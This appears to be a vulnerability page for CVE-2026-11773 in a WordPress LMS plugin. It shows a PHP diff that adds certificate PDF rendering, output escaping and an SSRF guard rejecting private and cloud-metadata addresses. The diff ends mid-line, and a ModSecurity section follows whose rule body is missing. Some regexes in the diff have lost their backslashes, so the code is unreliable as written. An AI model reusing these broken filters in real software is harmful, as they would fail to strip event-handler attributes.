-						'B' => 'Roboto-Bold.ttf',
-						'I' => 'Roboto-Italic.ttf',
-					),
-					'abhayalibre'         => array(
-						'R' => 'AbhayaLibre-Regular.ttf',
-						'B' => 'AbhayaLibre-Bold.ttf',
-					),
-					'adinekirnberg'       => array(
-						'R' => 'AdineKirnberg.ttf',
-					),
-					'alexbrush'           => array(
-						'R' => 'AlexBrush-Regular.ttf',
-					),
-					'allura'              => array(
-						'R' => 'Allura-Regular.ttf',
-					),
-				),
-			)
+		$fontdata            = $fontdata + array(
+			'cinzel'                               => array(
+				'R' => 'Cinzel-VariableFont_wght.ttf',
+			),
+			'dejavusanscondensed'                  => array(
+				'R' => 'DejaVuSansCondensed.ttf',
+				'B' => 'DejaVuSansCondensed-Bold.ttf',
+			),
+			'dmsans'                               => array(
+				'R' => 'DMSans-Regular.ttf',
+				'B' => 'DMSans-Bold.ttf',
+				'I' => 'DMSans-Italic.ttf',
+			),
+			'greatvibes'                           => array(
+				'R' => 'GreatVibes-Regular.ttf',
+			),
+			'grenzegotisch'                        => array(
+				'R' => 'GrenzeGotisch-VariableFont_wght.ttf',
+			),
+			'librebaskerville'                     => array(
+				'R' => 'LibreBaskerville-Regular.ttf',
+				'B' => 'LibreBaskerville-Bold.ttf',
+				'I' => 'LibreBaskerville-Italic.ttf',
+			),
+			'lora'                                 => array(
+				'R' => 'Lora-VariableFont_wght.ttf',
+				'I' => 'Lora-Italic-VariableFont_wght.ttf',
+			),
+			'poppins'                              => array(
+				'R' => 'Poppins-Regular.ttf',
+				'B' => 'Poppins-Bold.ttf',
+				'I' => 'Poppins-Italic.ttf',
+			),
+			'roboto'                               => array(
+				'R' => 'Roboto-Regular.ttf',
+				'B' => 'Roboto-Bold.ttf',
+				'I' => 'Roboto-Italic.ttf',
+			),
+			'abhayalibre'                          => array(
+				'R' => 'AbhayaLibre-Regular.ttf',
+				'B' => 'AbhayaLibre-Bold.ttf',
+			),
+			'adinekirnberg'                        => array(
+				'R' => 'AdineKirnberg.ttf',
+			),
+			'alexbrush'                            => array(
+				'R' => 'AlexBrush-Regular.ttf',
+			),
+			'allura'                               => array(
+				'R' => 'Allura-Regular.ttf',
+			),
+			'notosansdevanagariextracondensedthin' => array(
+				'R' => 'NotoSansDevanagari_ExtraCondensed-Thin.ttf',
+			),
 		);
+		if ( function_exists( 'set_exception_handler' ) ) {
+			set_exception_handler(
+				function ( $e ) {
+					wp_die(
+						/* translators: %s: Error Message */
+						sprintf( esc_html__( 'Critical Error: %s', 'learning-management-system' ), esc_html( $e->getMessage() ) ),
+						esc_html__( 'Critical Error', 'learning-management-system' ),
+						array( 'response' => 400 )
+					);
+				}
+			);
+		}
+		$mpdf_config = array(
+			'tempDir'          => masteriyo_get_temp_dir() . '/mpdf',
+			'fontDir'          => $font_dirs,
+			'margin_left'      => 0,
+			'margin_right'     => 0,
+			'margin_top'       => 0,
+			'margin_bottom'    => 0,
+			'default_font'     => 'Arial, sans-serif',
+			'autoScriptToLang' => false,
+			'autoLangToFont'   => true,
+			'fontdata'         => $fontdata + masteriyo_get_font_configurations(),
+		);
+
+		// Merge in page dimensions when provided (pdfdraft format).
+		// Do NOT set 'orientation' alongside an explicit [w, h] format array —
+		// mPDF swaps the dimensions when orientation='L', which would make a
+		// landscape canvas overflow to page 2 (blank page 1 bug).
+		// Passing the correct pixel dimensions as the format is sufficient.
+		if ( ! empty( $page_format['format'] ) ) {
+			$mpdf_config['format'] = $page_format['format'];
+		}
+
+		$this->mpdf = new Mpdf( apply_filters( 'masteriyo_mpdf_config', $mpdf_config ) );
+
 		$this->mpdf->setMBencoding( 'UTF-8' );

 		/**
 		 * Filters mpdf debug mode for making certificate PDF file.
 		 *
-		 * @since 1.13.0
+		 * @since 2.3.7
 		 *
 		 * @param boolean $bool
 		 * @param MpdfMpdf $mpdf
@@ -188,7 +265,7 @@
 		/**
 		 * Filters mpdf image debug mode for making certificate PDF file.
 		 *
-		 * @since 1.13.0
+		 * @since 2.3.7
 		 *
 		 * @param boolean $bool
 		 * @param MpdfMpdf $mpdf
@@ -198,7 +275,7 @@
 		/**
 		 * Filters Mpdf class instance used for making certificate PDF file.
 		 *
-		 * @since 1.13.0
+		 * @since 2.3.7
 		 *
 		 * @param boolean $bool
 		 * @param MpdfMpdf $mpdf
@@ -209,9 +286,9 @@
 	/**
 	 * Prepare PDF.
 	 *
-	 * @since 1.13.0
+	 * @since 2.3.7
 	 *
-	 * @since 1.13.0 Added $is_preview argument.
+	 * @since 2.4.4 Added $is_preview argument.
 	 *
 	 * @param string $template The certificate template.
 	 * @param boolean $is_preview
@@ -219,14 +296,32 @@
 	 * @return true|WP_Error
 	 */
 	public function prepare_pdf( $is_preview = false ) {
-		$this->init_mpdf();
 		$this->set_is_preview( $is_preview );

-		/**
-		 * Added setting to enable HTTPS instead of HTTP for certificate image URLs.
-		 *
-		 * @since 1.13.0
-		 */
+		if ( null !== $this->preview_rendered_html ) {
+			$layout = array();
+			if ( $this->certificate_id ) {
+				$preview_cert = masteriyo_get_certificate( $this->certificate_id );
+				if ( $preview_cert ) {
+					$layout = $this->extract_pdfdraft_layout( $preview_cert );
+				}
+			}
+			$this->init_mpdf( $layout );
+			return $this->prepare_pdf_pdfdraft( null, $is_preview );
+		}
+
+		if ( $this->certificate_id ) {
+			$certificate = masteriyo_get_certificate( $this->certificate_id );
+			if ( $certificate && 'pdfdraft' === $certificate->get_content_format() ) {
+				$this->init_mpdf( $this->extract_pdfdraft_layout( $certificate ) );
+				return $this->prepare_pdf_pdfdraft( $certificate, $is_preview );
+			}
+		}
+
+		// Existing Gutenberg pipeline — init with defaults as before.
+		$this->init_mpdf();
+
+		// Existing Gutenberg pipeline — unchanged.
 		$use_ssl_verified = masteriyo_bool_to_string( Setting::get( 'use_ssl_verified' ) );

 		if ( 'yes' === $use_ssl_verified ) {
@@ -254,9 +349,868 @@
 	}

 	/**
+	 * Prepare PDF for pdfdraft format certificates.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param MasteriyoAddonsCertificateModelsCertificate $certificate
+	 * @param boolean $is_preview
+	 * @return true|WP_Error
+	 */
+	protected function prepare_pdf_pdfdraft( $certificate, $is_preview ) {
+		$html = $this->preview_rendered_html ?? ( $certificate ? $certificate->get_rendered_html( 'edit' ) : '' );
+
+		if ( empty( $html ) ) {
+			return new WP_Error(
+				'masteriyo_no_rendered_html',
+				__( 'Certificate has not been saved yet. Please open and save the certificate in the editor before generating a PDF.', 'learning-management-system' )
+			);
+		}
+
+		$html = $this->replace_pdfdraft_merge_tags( $html, $is_preview );
+
+		$html = preg_replace( '/s+onw+="[^"]*"/i', '', $html );
+		$html = preg_replace( "/s+onw+='[^']*'/i", '', $html );
+		$html = preg_replace( '/s+contenteditable="[^"]*"/i', '', $html );
+
+		try {
+			$this->add_html( $html );
+			$this->mpdf->WriteHTML( $this->prepare_pdfdraft_css(), HTMLParserMode::HEADER_CSS );
+			$this->mpdf->WriteHTML( $this->prepare_html() );
+		} catch ( Exception $e ) {
+			return new WP_Error(
+				'masteriyo_mpdf_error',
+				sprintf(
+					/* translators: %s: error message */
+					__( 'PDF generation failed: %s', 'learning-management-system' ),
+					$e->getMessage()
+				)
+			);
+		}
+
+		return true;
+	}
+
+	/**
+	 * Build the merge tag replacements array for PDFDraft certificates.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param boolean $is_preview
+	 * @return array Map of {{tag}} => resolved value.
+	 */
+	public function build_pdfdraft_replacements( $is_preview = false ) {
+		$course  = masteriyo_get_course( $this->get_course_id() );
+		$student = masteriyo_get_user( $this->get_student_id() );
+
+		if ( $is_preview || ! $course || ! $student || is_wp_error( $student ) ) {
+			$replacements = array(
+				'{{masteriyo:student_name_full}}'  => __( 'Student Full Name', 'learning-management-system' ),
+				'{{masteriyo:student_name_first}}' => __( 'First Name', 'learning-management-system' ),
+				'{{masteriyo:student_name_last}}'  => __( 'Last Name', 'learning-management-system' ),
+				'{{masteriyo:course_title}}'       => $course ? $course->get_name() : __( 'Course Title', 'learning-management-system' ),
+				'{{masteriyo:completion_date}}'    => date_i18n( get_option( 'date_format' ) ),
+				'{{masteriyo:start_date}}'         => date_i18n( get_option( 'date_format' ) ),
+				'{{masteriyo:instructor_name}}'    => __( 'Instructor Name', 'learning-management-system' ),
+				'{{masteriyo:co_instructors}}'     => __( 'Co-Instructor Name', 'learning-management-system' ),
+				'{{masteriyo:course_duration}}'    => __( '10 Hours', 'learning-management-system' ),
+				'{{masteriyo:grade}}'              => '100%',
+				'{{masteriyo:verification_code}}'  => 'XXXX-XXXX-XXXX',
+				'{{masteriyo:qr_code}}'            => '',
+				'{{masteriyo:current_date}}'       => date_i18n( get_option( 'date_format' ) ),
+				'{{masteriyo:current_time}}'       => date_i18n( get_option( 'time_format' ) ),
+				'{{masteriyo:current_timestamp}}'  => date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ) ),
+				'{{masteriyo:site_name}}'          => get_bloginfo( 'name' ),
+				'{{user.display_name}}'            => __( 'Student Name', 'learning-management-system' ),
+				'{{user.first_name}}'              => __( 'First Name', 'learning-management-system' ),
+				'{{user.last_name}}'               => __( 'Last Name', 'learning-management-system' ),
+				'{{user.email}}'                   => 'student@example.com',
+				'{{user.login}}'                   => __( 'username', 'learning-management-system' ),
+				'{{user.id}}'                      => '1',
+				'{{user.url}}'                     => home_url(),
+				'{{user.description}}'             => __( 'Student bio', 'learning-management-system' ),
+				'{{user.registered}}'              => date_i18n( get_option( 'date_format' ) ),
+				'{{user.avatar}}'                  => '',
+				'{{user.roles}}'                   => __( 'Student', 'learning-management-system' ),
+				'{{site.name}}'                    => get_bloginfo( 'name' ),
+				'{{site.tagline}}'                 => get_bloginfo( 'description' ),
+				'{{site.url}}'                     => get_site_url(),
+				'{{site.home_url}}'                => home_url(),
+				'{{site.admin_email}}'             => get_option( 'admin_email' ),
+				'{{site.current_date}}'            => date_i18n( get_option( 'date_format' ) ),
+				'{{site.current_time}}'            => date_i18n( get_option( 'time_format' ) ),
+				'{{site.wp_version}}'              => get_bloginfo( 'version' ),
+				'{{site.language}}'                => get_bloginfo( 'language' ),
+				'{{post.title}}'                   => $course ? $course->get_name() : __( 'Course Title', 'learning-management-system' ),
+				'{{post.author_name}}'             => __( 'Instructor Name', 'learning-management-system' ),
+			);
+		} else {
+			$course_id  = $this->get_course_id();
+			$student_id = $this->get_student_id();
+
+			$completion_date = '';
+			$start_date      = '';
+			$progress_query  = new CourseProgressQuery(
+				array(
+					'course_id' => $course_id,
+					'user_id'   => $student_id,
+					'per_page'  => 1,
+				)
+			);
+			$course_progress = current( $progress_query->get_course_progress() );
+			if ( $course_progress ) {
+				$completion_date = $course_progress->get_completed_at()
+					? date_i18n( get_option( 'date_format' ), $course_progress->get_completed_at()->getOffsetTimestamp() )
+					: '';
+				$start_date      = $course_progress->get_started_at()
+					? date_i18n( get_option( 'date_format' ), $course_progress->get_started_at()->getOffsetTimestamp() )
+					: '';
+			}
+
+			$instructor      = masteriyo_get_user( $course->get_author_id() );
+			$instructor_name = '';
+			if ( $instructor && ! is_wp_error( $instructor ) ) {
+				$instructor_full = trim( $instructor->get_first_name() . ' ' . $instructor->get_last_name() );
+				$instructor_name = $instructor_full ?: $instructor->get_display_name();
+			}
+
+			$verification_code = $course_id . '-' . masteriyo_get_course_certificate_id( $course_id ) . '-' . $student_id;
+
+			$wp_user = get_user_by( 'id', $this->get_student_id() );
+
+			$student_full_name = trim( $student->get_first_name() . ' ' . $student->get_last_name() );
+			if ( ! $student_full_name ) {
+				$student_full_name = $student->get_display_name();
+			}
+
+			$replacements = array(
+				'{{masteriyo:student_name_full}}'  => $student_full_name,
+				'{{masteriyo:student_name_first}}' => $student->get_first_name() ? $student->get_first_name() : $student->get_display_name(),
+				'{{masteriyo:student_name_last}}'  => $student->get_last_name(),
+				'{{masteriyo:course_title}}'       => $course->get_name(),
+				'{{masteriyo:completion_date}}'    => $completion_date,
+				'{{masteriyo:start_date}}'         => $start_date,
+				'{{masteriyo:instructor_name}}'    => $instructor_name,
+				'{{masteriyo:co_instructors}}'     => '',
+				'{{masteriyo:course_duration}}'    => masteriyo_minutes_to_time_length_string( $course->get_duration() ),
+				'{{masteriyo:grade}}'              => '',
+				'{{masteriyo:verification_code}}'  => $verification_code,
+				'{{masteriyo:qr_code}}'            => $this->get_pdfdraft_qr_code_html( $verification_code ),
+				'{{masteriyo:current_date}}'       => date_i18n( get_option( 'date_format' ) ),
+				'{{masteriyo:current_time}}'       => date_i18n( get_option( 'time_format' ) ),
+				'{{masteriyo:current_timestamp}}'  => date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ) ),
+				'{{masteriyo:site_name}}'          => get_bloginfo( 'name' ),
+				'{{user.display_name}}'            => $student->get_display_name(),
+				'{{user.first_name}}'              => $student->get_first_name() ? $student->get_first_name() : $student->get_display_name(),
+				'{{user.last_name}}'               => $student->get_last_name(),
+				'{{user.email}}'                   => $wp_user ? $wp_user->user_email : '',
+				'{{user.login}}'                   => $wp_user ? $wp_user->user_login : '',
+				'{{user.id}}'                      => (string) $this->get_student_id(),
+				'{{user.url}}'                     => $wp_user ? $wp_user->user_url : '',
+				'{{user.description}}'             => $wp_user ? get_user_meta( $wp_user->ID, 'description', true ) : '',
+				'{{user.registered}}'              => $wp_user ? date_i18n( get_option( 'date_format' ), strtotime( $wp_user->user_registered ) ) : '',
+				'{{user.avatar}}'                  => $wp_user ? get_avatar( $wp_user->ID, 64 ) : '',
+				'{{user.roles}}'                   => $wp_user ? implode( ', ', (array) $wp_user->roles ) : '',
+				'{{site.name}}'                    => get_bloginfo( 'name' ),
+				'{{site.tagline}}'                 => get_bloginfo( 'description' ),
+				'{{site.url}}'                     => get_site_url(),
+				'{{site.home_url}}'                => home_url(),
+				'{{site.admin_email}}'             => get_option( 'admin_email' ),
+				'{{site.current_date}}'            => date_i18n( get_option( 'date_format' ) ),
+				'{{site.current_time}}'            => date_i18n( get_option( 'time_format' ) ),
+				'{{site.wp_version}}'              => get_bloginfo( 'version' ),
+				'{{site.language}}'                => get_bloginfo( 'language' ),
+				'{{post.title}}'                   => $course->get_name(),
+				'{{post.author_name}}'             => $instructor_name,
+			);
+		}
+
+		/**
+		 * Filter the merge tag replacements for pdfdraft certificates.
+		 *
+		 * @since x.x.x
+		 *
+		 * @param array   $replacements  Map of merge tag => replacement value.
+		 * @param boolean $is_preview
+		 * @param MasteriyoCourseCourse|null $course
+		 * @param MasteriyoModelsUser|null   $student
+		 */
+		return apply_filters( 'masteriyo_pdfdraft_certificate_merge_tags', $replacements, $is_preview, $course ?? null, $student ?? null );
+	}
+
+	/**
+	 * Replace merge tags in the rendered HTML snapshot.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string  $html       Rendered HTML snapshot.
+	 * @param boolean $is_preview Whether this is a preview.
+	 * @return string
+	 */
+	protected function replace_pdfdraft_merge_tags( $html, $is_preview ) {
+		$replacements = $this->build_pdfdraft_replacements( $is_preview );
+		$html = $this->replace_pdfdraft_data_merge_tag_elements( $html, $replacements );
+		$html_value_tags = $this->get_pdfdraft_html_value_tags();
+		$escaped         = array();
+		foreach ( $replacements as $tag => $value ) {
+			$escaped[ $tag ] = in_array( $tag, $html_value_tags, true ) ? $value : esc_html( (string) $value );
+		}
+
+		return str_replace( array_keys( $escaped ), array_values( $escaped ), $html );
+	}
+
+	/**
+	 * Merge tags whose resolved value is intentional, server-generated HTML
+	 * markup (rather than plain text) and must therefore NOT be HTML-escaped.
+	 *
+	 * Every other merge value is user-controlled and is escaped before being
+	 * placed into the rendered certificate HTML.
+	 *
+	 * @since x.x.x
+	 *
+	 * @return string[]
+	 */
+	protected function get_pdfdraft_html_value_tags() {
+		/**
+		 * Filters the merge tags treated as raw HTML in pdfdraft certificates.
+		 *
+		 * @since x.x.x
+		 *
+		 * @param string[] $tags Merge tags whose value is trusted HTML.
+		 */
+		return apply_filters(
+			'masteriyo_pdfdraft_certificate_html_value_tags',
+			array( '{{user.avatar}}', '{{masteriyo:qr_code}}' )
+		);
+	}
+
+	/**
+	 * Resolve merge tags in a PDFDraft JSON for client-side PDF generation.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param array   $json       Decoded certificate JSON.
+	 * @param boolean $is_preview
+	 * @return array
+	 */
+	public function resolve_pdfdraft_json_for_download( array $json, $is_preview = false ): array {
+		$replacements = $this->build_pdfdraft_replacements( $is_preview );
+
+		$json_str = wp_json_encode( $json );
+		if ( ! $json_str ) {
+			return $json;
+		}
+
+		foreach ( $replacements as $tag => $value ) {
+			if ( ! is_string( $value ) ) {
+				continue;
+			}
+			$encoded = wp_json_encode( wp_check_invalid_utf8( $value, true ) );
+			if ( ! is_string( $encoded ) || strlen( $encoded ) < 2 ) {
+				continue;
+			}
+			$safe     = substr( $encoded, 1, strlen( $encoded ) - 2 );
+			$json_str = str_replace( $tag, $safe, $json_str );
+		}
+
+		$resolved = json_decode( $json_str, true );
+		if ( ! is_array( $resolved ) ) {
+			return $json;
+		}
+
+		if ( isset( $resolved['pages'] ) && is_array( $resolved['pages'] ) ) {
+			$resolved['pages'] = $this->convert_pdfdraft_element_types( $resolved['pages'], $replacements );
+		}
+
+		if ( isset( $resolved['pages'] ) ) {
+			$resolved['fonts'] = $this->enrich_pdfdraft_fonts(
+				$resolved['pages'],
+				is_array( $resolved['fonts'] ?? null ) ? $resolved['fonts'] : array()
+			);
+		}
+
+		$resolved = $this->inline_pdfdraft_remote_images( $resolved );
+
+		return $resolved;
+	}
+
+	/**
+	 * Inline remote (http/https) image URLs in a pdfdraft design as base64 data
+	 * URIs, so the client-side PDFExporter never fetches cross-origin images
+	 * (avoids canvas tainting when a CDN/CloudFront response is missing CORS
+	 * headers, which silently drops images from the generated PDF).
+	 *
+	 * @since x.x.x
+	 *
+	 * @param array $json Decoded certificate design.
+	 * @return array
+	 */
+	public function inline_pdfdraft_remote_images( array $json ): array {
+		if ( isset( $json['pages'] ) && is_array( $json['pages'] ) ) {
+			foreach ( $json['pages'] as $page_id => $page ) {
+				if ( isset( $page['children'] ) && is_array( $page['children'] ) ) {
+					$json['pages'][ $page_id ]['children'] = $this->inline_pdfdraft_image_nodes( $page['children'] );
+				}
+			}
+		}
+
+		if ( isset( $json['settings']['background'] ) && is_array( $json['settings']['background'] ) ) {
+			$bg = $json['settings']['background'];
+
+			if ( ! empty( $bg['image'] ) && is_string( $bg['image'] ) ) {
+				$bg['image'] = $this->maybe_inline_remote_image( $bg['image'] );
+			}
+
+			if ( isset( $bg['imageProps'] ) && is_array( $bg['imageProps'] ) ) {
+				foreach ( array( 'src', 'originalSrc' ) as $key ) {
+					if ( ! empty( $bg['imageProps'][ $key ] ) && is_string( $bg['imageProps'][ $key ] ) ) {
+						$bg['imageProps'][ $key ] = $this->maybe_inline_remote_image( $bg['imageProps'][ $key ] );
+					}
+				}
+			}
+
+			$json['settings']['background'] = $bg;
+		}
+
+		return $json;
+	}
+
+	/**
+	 * Recursively inline image-element src/originalSrc within a node list.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param array $nodes
+	 * @return array
+	 */
+	protected function inline_pdfdraft_image_nodes( array $nodes ): array {
+		foreach ( $nodes as $i => $node ) {
+			if ( ! is_array( $node ) ) {
+				continue;
+			}
+
+			if ( isset( $node['type'], $node['props'] ) && 'image' === $node['type'] && is_array( $node['props'] ) ) {
+				foreach ( array( 'src', 'originalSrc' ) as $key ) {
+					if ( ! empty( $node['props'][ $key ] ) && is_string( $node['props'][ $key ] ) ) {
+						$node['props'][ $key ] = $this->maybe_inline_remote_image( $node['props'][ $key ] );
+					}
+				}
+			}
+
+			if ( isset( $node['children'] ) && is_array( $node['children'] ) ) {
+				$node['children'] = $this->inline_pdfdraft_image_nodes( $node['children'] );
+			}
+
+			$nodes[ $i ] = $node;
+		}
+
+		return $nodes;
+	}
+
+	/**
+	 * Determine whether a remote URL is safe to fetch server-side (SSRF guard).
+	 *
+	 * Images served from this site (own media library) are always allowed, even
+	 * when the host resolves to a private IP (load balancers / local dev). Any
+	 * other host must resolve exclusively to public IP addresses; loopback,
+	 * private, link-local (incl. 169.254.169.254 cloud metadata) and reserved
+	 * ranges are rejected.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string $url
+	 * @return bool
+	 */
+	protected function is_safe_remote_image_url( $url ) {
+		$parsed = wp_parse_url( $url );
+
+		if ( empty( $parsed['scheme'] ) || ! in_array( strtolower( $parsed['scheme'] ), array( 'http', 'https' ), true ) ) {
+			return false;
+		}
+		if ( empty( $parsed['host'] ) ) {
+			return false;
+		}
+
+		$host      = strtolower( trim( $parsed['host'], '.[]' ) );
+		$site_host = strtolower( (string) wp_parse_url( home_url(), PHP_URL_HOST ) );
+
+		if ( $host && $host === $site_host ) {
+			return true;
+		}
+
+		$ips = array();
+		if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+			$ips[] = $host;
+		} else {
+			$records = function_exists( 'dns_get_record' ) ? @dns_get_record( $host, DNS_A | DNS_AAAA ) : false; // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			if ( is_array( $records ) ) {
+				foreach ( $records as $record ) {
+					if ( ! empty( $record['ip'] ) ) {
+						$ips[] = $record['ip'];
+					}
+					if ( ! empty( $record['ipv6'] ) ) {
+						$ips[] = $record['ipv6'];
+					}
+				}
+			}
+			if ( empty( $ips ) ) {
+				$resolved = gethostbyname( $host );
+				if ( $resolved && $resolved !== $host ) {
+					$ips[] = $resolved;
+				}
+			}
+		}
+
+		if ( empty( $ips ) ) {
+			return false;
+		}
+
+		foreach ( $ips as $ip ) {
+			if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Convert a remote http(s) image URL to a base64 data URI (cached per URL via
+	 * a request-static map and a day-long transient). Returns the URL unchanged
+	 * for data:/relative URLs or on fetch failure.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string $url
+	 * @return string
+	 */
+	protected function maybe_inline_remote_image( $url ) {
+		if ( ! is_string( $url ) || '' === $url ) {
+			return $url;
+		}
+		if ( 0 === strpos( $url, 'data:' ) ) {
+			return $url;
+		}
+		if ( 0 !== strpos( $url, 'http://' ) && 0 !== strpos( $url, 'https://' ) ) {
+			return $url;
+		}
+
+		if ( ! $this->is_safe_remote_image_url( $url ) ) {
+			return $url;
+		}
+
+		static $cache = array();
+		if ( isset( $cache[ $url ] ) ) {
+			return $cache[ $url ];
+		}
+
+		$transient_key = 'masteriyo_cert_img_b64_' . md5( $url );
+		$cached        = get_transient( $transient_key );
+		if ( is_string( $cached ) && '' !== $cached ) {
+			$cache[ $url ] = $cached;
+			return $cached;
+		}
+
+		static $fetch_count = 0;
+		if ( $fetch_count >= 50 ) {
+			$cache[ $url ] = $url;
+			return $url;
+		}
+		++$fetch_count;
+
+		$response = wp_remote_get(
+			$url,
+			array(
+				'timeout'           => 10,
+				'redirection'       => 2,
+				'reject_unsafe_urls' => true,
+				'sslverify'         => (bool) Setting::get( 'use_ssl_verified' ),
+			)
+		);
+
+		if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
+			$cache[ $url ] = $url;
+			return $url;
+		}
+
+		$body = wp_remote_retrieve_body( $response );
+		if ( '' === $body ) {
+			$cache[ $url ] = $url;
+			return $url;
+		}
+
+		$mime = wp_remote_retrieve_header( $response, 'content-type' );
+		if ( ! is_string( $mime ) || 0 !== strpos( $mime, 'image/' ) ) {
+			$mime = 'image/png';
+		}
+
+		$data_uri      = 'data:' . $mime . ';base64,' . base64_encode( $body );
+		$cache[ $url ] = $data_uri;
+		set_transient( $transient_key, $data_uri, DAY_IN_SECONDS );
+
+		return $data_uri;
+	}
+
+	/**
+	 * Collect font-family values from all page nodes into the fonts map.
+	 *
+	 * @since x.x.x
+	 * @param array $pages PDFDraft pages array.
+	 * @param array $fonts Existing fonts map.
+	 * @return array
+	 */
+	protected function enrich_pdfdraft_fonts( array $pages, array $fonts ) {
+		$this->collect_fonts_from_nodes( $pages, $fonts );
+		return $fonts;
+	}
+
+	/**
+	 * Recursively walk PDFDraft node tree collecting font-family values.
+	 *
+	 * @since x.x.x
+	 * @param mixed $data  Current node or subtree.
+	 * @param array $fonts Fonts map passed by reference.
+	 */
+	protected function collect_fonts_from_nodes( $data, array &$fonts ) {
+		if ( ! is_array( $data ) ) {
+			return;
+		}
+
+		if ( isset( $data['type'], $data['id'] ) ) {
+			$family = $data['style']['fontFamily'] ?? '';
+			if ( $family ) {
+				$this->add_font_to_fonts_map( (string) $family, $fonts );
+			}
+
+			$global_family = $data['props']['globalStyle']['fontFamily'] ?? '';
+			if ( $global_family ) {
+				$this->add_font_to_fonts_map( (string) $global_family, $fonts );
+			}
+
+			$content = $data['props']['content'] ?? '';
+			if ( is_string( $content ) && false !== strpos( $content, 'font-family' ) ) {
+				preg_match_all( "/font-family:s*['"]?([^;'"]+)/i", $content, $matches );
+				foreach ( $matches[1] ?? array() as $raw ) {
+					$this->add_font_to_fonts_map( trim( $raw, " t," ), $fonts );
+				}
+			}
+		}
+
+		foreach ( $data as $value ) {
+			if ( is_array( $value ) ) {
+				$this->collect_fonts_from_nodes( $value, $fonts );
+			}
+		}
+	}
+
+	/**
+	 * Add a single font family to the fonts map if not already present.
+	 *
+	 * @since x.x.x
+	 * @param string $family Raw font-family string.
+	 * @param array  $fonts  Fonts map passed by reference.
+	 */
+	protected function add_font_to_fonts_map( string $family, array &$fonts ) {
+		$family  = trim( $family, " "'t" );
+		$generic = array( 'serif', 'sans-serif', 'monospace', 'cursive', 'fantasy', 'system-ui', 'inherit', 'initial', 'unset' );
+
+		if ( empty( $family ) || isset( $fonts[ $family ] ) || in_array( strtolower( $family ), $generic, true ) ) {
+			return;
+		}
+
+		$encoded          = rawurlencode( $family );
+		$fonts[ $family ] = array(
+			'id'       => $family,
+			'family'   => $family,
+			'variants' => array( 100, 200, 300, 400, 500, 600, 700, 800, 900 ),
+			'subsets'  => array( 'latin' ),
+			'url'      => "https://fonts.googleapis.com/css2?family={$encoded}:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap",
+		);
+	}
+
+	/**
+	 * Convert non-native PDFDraft element types to 'text' recursively.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param mixed $node         Current node in the JSON tree.
+	 * @param array $replacements Resolved {{tag}} => value map.
+	 * @return mixed
+	 */
+	protected function convert_pdfdraft_element_types( $node, array $replacements ) {
+		if ( ! is_array( $node ) ) {
+			return $node;
+		}
+
+		if ( isset( $node['type'], $node['id'] ) && is_string( $node['type'] ) ) {
+			$type = $node['type'];
+
+			if ( 0 === strpos( $type, 'masteriyo__' ) ) {
+				$node['type'] = 'text';
+
+				$tiptap_html = $node['props']['content'] ?? '';
+				if ( $tiptap_html ) {
+					if ( empty( $node['style']['fontFamily'] ) && false !== strpos( $tiptap_html, 'font-family' ) ) {
+						preg_match( '/font-family:s*([^;]+)/i', $tiptap_html, $fm );
+						if ( ! empty( $fm[1] ) ) {
+							$node['style']['fontFamily'] = trim( $fm[1], " "'t" );
+						}
+					}
+					if ( empty( $node['style']['fontSize'] ) && false !== strpos( $tiptap_html, 'font-size' ) ) {
+						preg_match( '/font-size:s*([^;]+)/i', $tiptap_html, $fs );
+						if ( ! empty( $fs[1] ) ) {
+							$node['style']['fontSize'] = trim( $fs[1], " "'t" );
+						}
+					}
+					if ( empty( $node['style']['fontWeight'] ) && false !== strpos( $tiptap_html, 'font-weight' ) ) {
+						preg_match( '/font-weight:s*([^;]+)/i', $tiptap_html, $fw );
+						if ( ! empty( $fw[1] ) ) {
+							$node['style']['fontWeight'] = trim( $fw[1], " "'t" );
+						}
+					}
+				}
+
+				if ( ! empty( $node['style']['fontFamily'] ) ) {
+					if ( ! isset( $node['props']['globalStyle'] ) || ! is_array( $node['props']['globalStyle'] ) ) {
+						$node['props']['globalStyle'] = array();
+					}
+					if ( empty( $node['props']['globalStyle']['fontFamily'] ) ) {
+						$node['props']['globalStyle']['fontFamily'] = $node['style']['fontFamily'];
+					}
+				}
+				if ( ! empty( $node['style']['fontSize'] ) ) {
+					if ( ! isset( $node['props']['globalStyle'] ) || ! is_array( $node['props']['globalStyle'] ) ) {
+						$node['props']['globalStyle'] = array();
+					}
+					if ( empty( $node['props']['globalStyle']['fontSize'] ) ) {
+						$font_size_num = (float) preg_replace( '/[^0-9.]/', '', (string) $node['style']['fontSize'] );
+						if ( $font_size_num > 0 ) {
+							$node['props']['globalStyle']['fontSize'] = $font_size_num;
+						}
+					}
+				}
+				if ( ! empty( $node['style']['fontWeight'] ) ) {
+					if ( ! isset( $node['props']['globalStyle'] ) || ! is_array( $node['props']['globalStyle'] ) ) {
+						$node['props']['globalStyle'] = array();
+					}
+					if ( empty( $node['props']['globalStyle']['fontWeight'] ) ) {
+						$node['props']['globalStyle']['fontWeight'] = $node['style']['fontWeight'];
+					}
+				}
+
+				if ( ! empty( $node['props']['field'] ) ) {
+					$tag                      = '{{' . $node['props']['field'] . '}}';
+					$resolved                 = $replacements[ $tag ] ?? ( $node['props']['content'] ?? '' );
+					$node['props']['content'] = $resolved;
+					$node['content']          = $resolved;
+				} elseif ( ! empty( $node['props']['content'] ) ) {
+					$node['content'] = $node['props'][

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-11773
# Block unauthorized REST API requests to certificate-pdf-email endpoint from non-instructor users
